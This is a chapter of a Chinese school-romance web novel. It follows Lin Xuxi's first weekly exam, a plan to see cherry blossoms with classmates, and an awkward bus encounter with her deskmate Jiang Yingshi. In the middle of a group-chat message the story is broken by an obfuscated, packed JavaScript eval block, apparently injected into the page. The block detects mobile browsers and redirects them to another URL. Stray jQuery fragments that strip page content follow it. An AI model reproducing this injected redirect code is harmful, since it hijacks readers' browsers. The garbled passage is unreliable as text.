7. 你是谁

作品:《你最好记住我是谁

    时间过得飞快,转眼间将迎来林煦希在实验一中的第一次周考。


    周考安排在周六,一天时间有限,只考语数外三门,上午两门下午一门。


    前一天晚上,爸爸妈妈还像安慰一样告诉林煦希,不要紧张,考不好也没关系,把它当成一次测验就好。


    林煦希其实没什么紧张感。


    但凡是正经接受过九年义务教育的学生,没有一个不是在一场接着一场考试的腥风血雨中走过来的。


    一场小小的周考,如果放到闯关游戏,仅仅算是大关卡下面小分支里遇到的第一个小怪。


    ——总之就是简简单单。


    唯一让她有些担忧的是自己缺的两周课。


    自学毕竟还是比不上坐在教室里等着老师把知识喂到嘴里。


    但一天下来,林煦希心里的最后那点紧张也烟消云散。


    太简单了。


    一中的周考卷子出的比溪中简单了至少一个度。


    就像是精心准备的模拟题碰上了课本习题册。


    考完最后一门,林煦希忍不住往后仰了仰脖子,伸展了一下僵硬的四肢。


    其他同学好像对考试也没有什么感触,起身将拉开的桌子再次合并到一起。


    林煦希也站起身,桌子腿在地面摩擦了几下,她听到旁边人在聊天。


    是习语冰和周凌萱。


    习语冰的声音有些生无可恋:“考试时间不够了,我瞎填了几个,也不知道能对多少……”


    “没事,只是周考而已。”


    习语冰欲哭无泪:“我妈妈上次说我再考不好就没收我的零花钱。”


    周凌萱停顿一下,说:“也不一定没考好,说不定你瞎填的都对了呢?”


    这句安慰干巴巴,对于习语冰显然没什么用。她开始抬头望天,眼神涣散,整个人染上灰蒙蒙的色彩。


    周凌萱想了想,很快有了新的想法:“明天休息,我们一起出去玩吧?”


    “出去玩?”习语冰眼睛亮了亮。


    “对啊,最近栖山公园的樱花不是开了吗?正好去看花。”


    “太好了,我要去!”


    习语冰很快就忘了考试带来的不愉快。


    林煦希将自己的桌子对齐摆好,拉开椅子时,身旁的江映时早已老神在在地坐在那里。


    林煦希抬眼瞥了他一眼,觉得他面无表情的样子让人难以捉摸,像是志得意满的将军,又或者打了败仗的士兵。


    两种可能都有。


    她忍不住学着前方女孩子的语气,关心了一下同桌的周考情况。


    “你考得怎么样?”


    江映时没有立刻回答,先是用一种深沉的眼神打量着她。


    接着抬手撑额,头歪向一边,用眼神传达信息。


    林煦希看懂了,他是想说自己考得很好。


    于是她没有接着往下问,对着江映时,同样用眼神递过去一个共勉的意思。


    江映时看到她像是领导安排完工作一样,抿唇板脸,严肃认真地点了下头,仿佛下一秒就要脱口一句“同志,好好干”。


    但这可不是他想要的。


    他只是在回答问题之前,莫名想到几天前,林煦希夸他的一句“厉害”。


    以及在那之后,英语作为他的优势学科,带来的后续附加价值。


    就比如,他随随便便在课堂上回答几个问题,坐下后,感受到的隐隐约约的目光。


    他也说不清自己是怎么想的,总之不是想让林煦希像老干部一样对他行注视礼。


    江映时别过脸,不搭理她了。


    林煦希在趁着最后一节课的时间努力给自己的书包减负。


    数学作业要思考的时间最久,语文古诗文都是要抄写的,英语还剩背诵,物生写完了,政史的书很重。


    林煦希决定了。


    先写政治历史。


    写完她说不定能快几分钟回到家。


    认真翻了一会书,把历史选择题做完,前排的女孩子转过身。


    像是得到了满意的答案,习语冰漾起笑意:“林煦希,你明天想不想跟我们一起出去看花?”


    林煦希眼睛眨了下,脑中有一瞬间的空白。


    她有听到她们的讨论,只是没想到会加上自己。


    毕竟,在慢热的林煦希看来,她只是和她们刚刚认识一周的陌生同学而已。


    周凌萱注意到了林煦希停滞的表情,为了避免尴尬,善解人意地开口:“没关系,如果你事先有安排就算了,不用勉强。”


    林煦希笑了笑:“不勉强,我也想去看花。”


    习语冰高兴起来:“那我们约定一下时间和地点?”


    “好。”林煦希欣然答应。


    *


    第二天早上八点,林煦希就起床了。


    她们约定好的时间是十点,但栖山公园距离她家有些距离,打车过去需要半小时,坐公交更久,至少一个小时。


    “不需要爸爸送你吗?”


    坐在餐桌上,准时准点吃着早餐,林正业问道。


    林煦希缓慢而坚定地摇了摇头。


    她可不是需要爸爸妈妈一路护送的小孩。


    见状,林正业没也强求,简单叮嘱了一句。


    林煦希选择坐公交。


    其实打车更快,但林煦希有一个毛病——她晕出租车。


    自己家车不会晕,只要一打车,上车没两分钟就想吐。


    不想破坏出来玩的好心情,林煦希只能选择时间更久,路途更远的公交。


    在公交站台等了一会,终点站为栖山公园南门的63路公交进站。


    林煦希从小包里掏出公交卡,在识卡器上按了下。


    “——滴,学生卡。”


    她走进去,环顾四周。


    遗憾的是,没有座位。


    63路公交途经很多景区,可能是这个原因,周末的一大清早,这辆车里就坐得满满当当。


    没有座位,所幸车内空间还是挺充足的。


    林煦希叹了口气,找了根柱子倚靠。


    她站的位置正对着窗边,可以看到路边推着小车的商贩。


    街道车水马龙,推着小车的阿姨旁边喇叭重复着“油条、豆浆、煎饼果子……”


    像是一个朝气蓬勃的早晨。


    手机响了两声,林煦希用手肘勾住可供搀扶的支柱,翻出手机查看。


    群聊(3)


    习语冰:【我起床了,你们起床了吗?】


    周凌萱:【起了,在吃早餐】


    林煦希嘴角勾起来,身子往车窗的方向移了移,拍了张热热闹闹的照片。


    林煦希:【我已经坐上公交了】


    林煦希:【图片】


    习语冰:【哇!你好快,其实我才睁开眼没一会】


    林煦希:【因为我家离得有点远】


    习语冰:【看来我得快点了】


    ……


    群里停滞了一会,大概又过了十分钟,习语冰再次发来消息。


    习语冰:【完了,我发现我拉肚子了,可能要晚一会……】


    周凌萱:【啊,不要紧吧?】


    习语冰:【


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236531|166118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没事,等一会就好】


    林煦希:【你慢慢来,我们不急的】


    习语冰发来一条语音,林煦希出门没带耳机,点了外放。


    “到时候我要是还没来,林煦希你就和周凌萱一起先逛吧,不用等我。”


    习语冰的声音像开了扩音器,在狭小的公交内显得格外清晰。


    林煦希这才发现自己按到的音量键是最大,一时有些不好意思。


    她急急忙忙将声音调小,却只是无济于事,习语冰的话已经说完了。


    林煦希先是小声回复了一句语音:“好。”


    又小心查看了一下车内人的表情。


    发现没人露出不满的情绪,她才松了口气。


    但她很快又发现,身前用外套蒙着脑袋,一直在睡觉的男生掀起外套,眼睛从里面露出来。


    定定地看着她。


    “……”


    好像还是打扰到别人了。


    林煦希抿了抿唇,眼神中透露出几分抱歉。


    男生敛了敛眉,表情些微出现了几分裂痕。


    紧接着,再一次将头蒙进外套里面,像是要继续补觉。


    *


    江映时不是被吵醒的,而是听到了熟悉的名字。


    意外于这个名字出现的时间地点,原先神游天外的他一下子被拉回现实,转移到身边站着的女孩子身上。


    现在蒙着头更不是在睡觉。


    他在思考着今日运势。


    最近元乐迷上了五行八卦,出门前要看看黄历。


    他非说今日宜出行。


    元乐昨天晚上口吻是这样的:“我占卜过了,三张牌都显示近期会有灾厄降临,解决的唯一办法就是出门,所以我们一定要在明天出门,懂吧?”


    江映时不懂,他只想说:“你信的东西挺杂啊,还中西合璧。”


    而现在他更相信元乐买来的占卜用具是假货。


    要不然他怎么会在这个时候碰上林煦希。


    虽然他有听到她要去栖山公园,时间地点人物勉强知道两个。


    却没想过刚好在公交车上遇见。


    他可不想在学校以外的地方和她碰面。


    这感觉诡异极了。


    ……


    想了好久,江映时还是把外套从头顶拿下来,坐正身子。


    他见到她蒙头算什么,像是不战而降的怂包。


    于是江映时正襟危坐了一会,表情严肃,发现了更严重的问题。


    ——林煦希没有座位!


    江映时并不觉得起身给女生让座是一种绅士风度,也不认为自己应该遵守那些所谓规则。


    但他就是很不自在。


    浑身不自在。


    像是座位上刺挠着什么东西,扎根在那里。


    一些潜在而无形的东西。


    江映时咬了咬唇,任命地站起来,乜了眼斜靠着支撑物的女生。


    被他起身的动静吸引,她抬起头,轻描淡写地瞥了一眼。


    没有言语。


    于是江映时又盯了她一会。


    两人之间凝滞着什么说不清道不明的东西,像是站在雪山高原,空气都变得稀薄起来。


    江映时轻嗤一声,感觉自己好像在进行一种小学时都不会玩的游戏。


    ——先打招呼的人就输了!


    江映时不想输,可与他相隔不到一米的那个女孩子也不像是会认输的样子。


    她轻轻蹙眉,眼睛半眯着,像是装作不在意游戏的输赢,又像是高高在上的睥睨。


    一种打量着权衡利弊的目光。